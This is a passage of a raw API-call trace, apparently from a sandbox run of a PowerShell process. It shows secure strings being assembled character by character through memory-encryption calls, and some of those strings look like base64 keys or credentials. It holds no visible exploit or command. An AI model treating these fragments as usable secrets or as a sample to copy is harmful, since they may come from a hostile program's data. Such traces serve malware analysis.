(param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e") returned 0x20 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\xf5ec\x8e6") returned 0x28 [0124.932] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbt뾗ꘒ糱ີ㒻ⷨ쀚") returned 0x28 [0124.932] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x903d\x3628\xc13\x6e63\x3518\x8152\x409c\x51e8") returned 0x28 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x903d\x3628\xc13\x6e63\x3518\x8152\x409c\x51e8") returned 0x28 [0124.932] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXꘒ糱ີ㒻ⷨ쀚") returned 0x28 [0124.932] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x2453\xf4c5\xe5dc\xad1b\xae1d\xb282\x8b5\xb4d") returned 0x28 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x2453\xf4c5\xe5dc\xad1b\xae1d\xb282\x8b5\xb4d") returned 0x28 [0124.932] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXU糱ີ㒻ⷨ쀚") returned 0x28 [0124.932] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x3aac\x160d\xc38\x7151\xd04e\xb91f\xb6dc\x3c2d") returned 0x28 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x3aac\x160d\xc38\x7151\xd04e\xb91f\xb6dc\x3c2d") returned 0x28 [0124.932] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUີ㒻ⷨ쀚") returned 0x28 [0124.932] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.932] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x41f4\xd928\x6f48\x59d0\x2ee\x17\x79e9\x14f5") returned 0x28 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x41f4\xd928\x6f48\x59d0\x2ee\x17\x79e9\x14f5") returned 0x28 [0124.933] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU㒻ⷨ쀚") returned 0x28 [0124.933] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\xe6dd\xa03f\xd484\x42fa\xb5e7\x4ff1\x1f3c\xab53") returned 0x28 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\xe6dd\xa03f\xd484\x42fa\xb5e7\x4ff1\x1f3c\xab53") returned 0x28 [0124.933] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0ⷨ쀚") returned 0x28 [0124.933] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x5767\x6ec7\x2fc3\x34e1\x2b8b\x80d0\x7b42\x87b4") returned 0x28 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x5767\x6ec7\x2fc3\x34e1\x2b8b\x80d0\x7b42\x87b4") returned 0x28 [0124.933] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0o쀚") returned 0x28 [0124.933] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x9735\x72b1\xa7b\x49d1\x6544\x2396\x9722\x5b74") returned 0x28 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x9735\x72b1\xa7b\x49d1\x6544\x2396\x9722\x5b74") returned 0x28 [0124.933] SystemFunction041 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0o1") returned 0x28 [0124.933] SystemFunction040 (in: Memory=0x8e6f5b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f5b4) returned 0x0 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6") returned 0x28 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6") returned 0x28 [0124.933] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6") returned 0x28 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\x3f18\x3f64\xb967\x4e5\x1ce5\xa2c8\x235e\x50ed") returned 0x30 [0124.934] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0o13墬ɪ⒅쮿鍛") returned 0x30 [0124.934] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\x4405\x4fdf\x3994\x3794\x2e18\x76e4\x5388\xae3e") returned 0x30 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\x4405\x4fdf\x3994\x3794\x2e18\x76e4\x5388\xae3e") returned 0x30 [0124.934] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0o13r墬ɪ⒅쮿鍛") returned 0x30 [0124.934] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\x8f2b\x7f8f\x5c9d\x7845\x34dd\xb6e2\xf8ed\xf7c5") returned 0x30 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\x8f2b\x7f8f\x5c9d\x7845\x34dd\xb6e2\xf8ed\xf7c5") returned 0x30 [0124.934] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0o13rAɪ⒅쮿鍛") returned 0x30 [0124.934] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\xbcd7\x3f3f\x8574\x1681\xdf7f\x361b\xf587\x4c6d") returned 0x30 [0124.934] SysStringLen (param_1="\x9bd7\x9328\xdb8\x589a\xc41a\xf89f\x7be8\x658f\xffda\x8a77\x9738\x727\xb8c9\x32e2\xd7b1\x8f4\xc21\xdbd4\xbc7b\x47da\xfb86\x82b0\xf5af\x4196\x5217\x1402\x9848\xffd\xab7d\x9f31\xd98c\x9c1e\x1b8e\xe2bb\xd02f\x7e06\xd5cb\xf275\x1bb\xb1a6\xbcd7\x3f3f\x8574\x1681\xdf7f\x361b\xf587\x4c6d") returned 0x30 [0124.934] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.934] SysStringLen (param_1="FlHaSAKNTaK2L1hniTpiOGMok8wh2RZbtXUUU0o13rA=ɪ⒅쮿鍛") returned 0x30 [0124.934] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0124.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.935] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.935] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c4, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.935] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.935] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.935] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.936] SysStringLen (param_1="") returned 0x8 [0124.936] SysStringLen (param_1="Y") returned 0x8 [0124.936] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0124.936] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0124.936] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="YW") returned 0x8 [0124.936] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0124.936] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0124.936] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="YWM") returned 0x8 [0124.936] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0124.936] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0124.936] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="YWM1") returned 0x8 [0124.936] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.936] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0124.936] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0124.936] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="YWM1O") returned 0x8 [0124.937] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0124.937] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0124.937] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="YWM1OT") returned 0x8 [0124.937] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0124.937] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0124.937] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="YWM1OTE") returned 0x8 [0124.937] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0124.937] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0124.937] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0124.937] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0124.937] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0124.937] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0124.938] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0124.938] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0124.938] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.938] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0124.938] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.938] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0124.938] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0124.938] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.938] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0124.938] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.938] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0124.938] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0124.938] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.938] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0124.938] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.938] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0124.939] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.939] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0124.939] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0124.939] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.939] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0124.939] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0124.939] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.939] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0124.939] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0124.939] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0124.939] SystemFunction041 (in: Memory=0x8e5f22c, 